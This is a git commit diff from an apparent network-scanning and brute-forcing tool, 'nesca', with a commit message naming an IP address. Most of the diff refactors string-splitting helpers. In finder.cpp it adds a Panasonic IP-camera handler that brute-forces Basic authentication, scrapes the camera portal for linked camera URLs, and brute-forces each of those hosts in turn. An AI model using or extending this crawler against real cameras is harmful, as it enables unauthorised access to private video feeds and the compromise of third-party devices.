mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
Panasonic-camera bouncer handler added. (222.13.93.165)
This commit is contained in:
parent
871d22c5ba
commit
eb0f9eef10
@ -1,7 +1,6 @@
|
||||
#include "STh.h"
|
||||
#include "MainStarter.h"
|
||||
#include "Connector.h"
|
||||
#include <sstream>
|
||||
#include "Utils.h"
|
||||
#include <qjsonobject.h>
|
||||
#include <qjsonvalue.h>
|
||||
@ -50,28 +49,6 @@ char metaTargets[256] = { 0 };
|
||||
char metaETA[256] = { 0 };
|
||||
char metaOffline[256] = { 0 };
|
||||
|
||||
std::vector<std::string> splitToStrVector(const std::string &s, char delim) {
|
||||
std::vector<std::string> elems;
|
||||
std::stringstream ss(s);
|
||||
std::string item;
|
||||
|
||||
while (std::getline(ss, item, delim)) {
|
||||
elems.push_back(item);
|
||||
}
|
||||
|
||||
return elems;
|
||||
}
|
||||
std::vector<int> splitToIntVector(const std::string &s, char delim) {
|
||||
std::vector<int> elems;
|
||||
std::stringstream ss(s);
|
||||
std::string item;
|
||||
|
||||
while (std::getline(ss, item, delim)) {
|
||||
elems.push_back(std::stoi(item));
|
||||
}
|
||||
|
||||
return elems;
|
||||
}
|
||||
int MainStarter::fileLoader(const char *fileName) {
|
||||
|
||||
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
|
||||
@ -132,9 +109,9 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
|
||||
if (strstr(curIP, "-") != NULL)
|
||||
{
|
||||
std::vector<std::string> tmpIPVec = splitToStrVector(curIP, '-');
|
||||
std::vector<int> tmpIPIntVec1 = splitToIntVector(tmpIPVec[0], '.');
|
||||
std::vector<int> tmpIPIntVec2 = splitToIntVector(tmpIPVec[1], '.');
|
||||
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIP, '-');
|
||||
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
||||
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
||||
|
||||
ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
|
||||
ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
|
||||
@ -198,7 +175,7 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
||||
unsigned int netmask = atoi(strstr(curIP, "/") + 1);
|
||||
|
||||
std::vector<int> tmpIPVec = splitToIntVector(curIP, '.');
|
||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIP, '.');
|
||||
|
||||
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
||||
|
||||
@ -280,7 +257,7 @@ int MainStarter::loadTargets(const char *data) {
|
||||
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
||||
unsigned int netmask = atoi(strstr(data, "/") + 1);
|
||||
|
||||
std::vector<int> tmpIPVec = splitToIntVector(data, '.');
|
||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(data, '.');
|
||||
|
||||
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
||||
|
||||
@ -305,12 +282,12 @@ int MainStarter::loadTargets(const char *data) {
|
||||
char newRangeString[128] = { 0 };
|
||||
sprintf(newRangeString, "%u.%u.%u.%u-%u.%u.%u.%u",
|
||||
ip_min[0], ip_min[1], ip_min[2], ip_min[3], ip_max[0], ip_max[1], ip_max[2], ip_max[3]);
|
||||
rangeVec = splitToStrVector(std::string(newRangeString), '-');
|
||||
rangeVec = Utils::splitToStrVector(std::string(newRangeString), '-');
|
||||
}
|
||||
else rangeVec = splitToStrVector(data, '-');
|
||||
else rangeVec = Utils::splitToStrVector(data, '-');
|
||||
|
||||
std::vector<int> ip1TmpVec = splitToIntVector(rangeVec[0], '.');
|
||||
std::vector<int> ip2TmpVec = splitToIntVector(rangeVec[1], '.');
|
||||
std::vector<int> ip1TmpVec = Utils::splitToIntVector(rangeVec[0], '.');
|
||||
std::vector<int> ip2TmpVec = Utils::splitToIntVector(rangeVec[1], '.');
|
||||
|
||||
ipsstart[0] = ip1TmpVec[0];
|
||||
ipsstart[1] = ip1TmpVec[1];
|
||||
@ -360,7 +337,7 @@ int MainStarter::loadTargets(const char *data) {
|
||||
return 0;
|
||||
}
|
||||
int MainStarter::loadPorts(const char *data, char delim) {
|
||||
portVector = splitToIntVector(data, delim);
|
||||
portVector = Utils::splitToIntVector(data, delim);
|
||||
for (auto elem : portVector) {
|
||||
if (elem > 65535 | elem < 0) {
|
||||
stt->doEmitionRedFoundData("Malformed input: check your ports");
|
||||
|
39
Utils.cpp
39
Utils.cpp
@ -1,4 +1,43 @@
|
||||
#include "Utils.h"
|
||||
#include <sstream>
|
||||
|
||||
std::vector<std::string> Utils::splitToStrVector(const std::string &s, char delim) {
|
||||
std::vector<std::string> elems;
|
||||
std::stringstream ss(s);
|
||||
std::string item;
|
||||
|
||||
while (std::getline(ss, item, delim)) {
|
||||
elems.push_back(item);
|
||||
}
|
||||
|
||||
return elems;
|
||||
}
|
||||
std::vector<int> Utils::splitToIntVector(const std::string &s, char delim) {
|
||||
std::vector<int> elems;
|
||||
std::stringstream ss(s);
|
||||
std::string item;
|
||||
|
||||
while (std::getline(ss, item, delim)) {
|
||||
elems.push_back(std::stoi(item));
|
||||
}
|
||||
|
||||
return elems;
|
||||
}
|
||||
|
||||
std::string Utils::getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2) {
|
||||
int pos1 = data.find(delim1);
|
||||
int pos2;
|
||||
int offset;
|
||||
|
||||
if (pos1 != std::string::npos) {
|
||||
offset = delim1.length();
|
||||
pos2 = data.find(delim2, pos1 + offset);
|
||||
if (pos2 != std::string::npos) {
|
||||
return data.substr(pos1 + offset, pos2 - pos1 - offset);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
char *getSystemProxy() {
|
||||
return "";
|
||||
|
4
Utils.h
4
Utils.h
@ -4,6 +4,7 @@
|
||||
#include <iostream>
|
||||
#include <algorithm>
|
||||
#include <qstring.h>
|
||||
#include <vector>
|
||||
|
||||
using namespace std;
|
||||
|
||||
@ -76,6 +77,9 @@ public:
|
||||
|
||||
char * getProxy();
|
||||
int getProxyPort();
|
||||
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
|
||||
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
|
||||
static std::vector<int> splitToIntVector(const std::string &s, char delim);
|
||||
};
|
||||
|
||||
#endif // UTILS_H
|
||||
|
33
finder.cpp
33
finder.cpp
@ -2480,7 +2480,38 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
||||
}
|
||||
else if (flag == 36) //Panasonic Cam
|
||||
{
|
||||
_specBrute(ip, port, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size);
|
||||
_specBrute(ip, port, QString("[Panasonic] IP Camera (" + QString(ip) + ":" + QString::number(port) + ")").toLocal8Bit().data(), flag,
|
||||
"/config/index.cgi", "Basic Authorization", cp, size);
|
||||
|
||||
stt->doEmitionYellowFoundData("[PaCr]Panasonic cam detected, crawling started.");
|
||||
|
||||
std::string buff;
|
||||
Connector::nConnect(std::string(std::string(ip) + "/config/cam_portal.cgi").c_str(), port, &buff);
|
||||
int nPort = port;
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
std::string &cam_link_data = Utils::getStrValue(buff, "cam_link[" + std::to_string(i) + "]", ";");
|
||||
if (cam_link_data.size() != 0) {
|
||||
std::string &newURL = Utils::getStrValue(cam_link_data, "src=\"", "\"");
|
||||
if (newURL.size() != 0) {
|
||||
std::string &newIP = Utils::getStrValue(newURL, "http://", "/");
|
||||
if (newIP.size() != 0) {
|
||||
std::string &newPath = newURL.substr(newURL.find(newIP) + newIP.length());
|
||||
std::vector<std::string> portVec = Utils::splitToStrVector(newIP, ':');
|
||||
stt->doEmitionYellowFoundData("[PaCr] Url found:" + QString(newURL.c_str()));
|
||||
|
||||
portVec.size() == 2 ? nPort = std::stoi(portVec[1]) : NULL;
|
||||
|
||||
_specBrute(newIP.c_str(), nPort, QString("[Panasonic] IP Camera (" +
|
||||
QString(newIP.c_str()) + ":" + QString::number(nPort) + ")").toLocal8Bit().data(), flag,
|
||||
(char*)newPath.c_str(), "Basic Authorization", cp, size);
|
||||
}
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[Panasonic Cam URL] Cannot extract data " +
|
||||
QString(ip) + ":" + QString::number(port));
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[Panasonic Cam cam_link] Cannot extract data " +
|
||||
QString(ip) + ":" + QString::number(port));
|
||||
}
|
||||
}
|
||||
else if (flag == 37) //Panasonic Cam
|
||||
{
|
||||
|
Loading…
Reference in New Issue
Block a user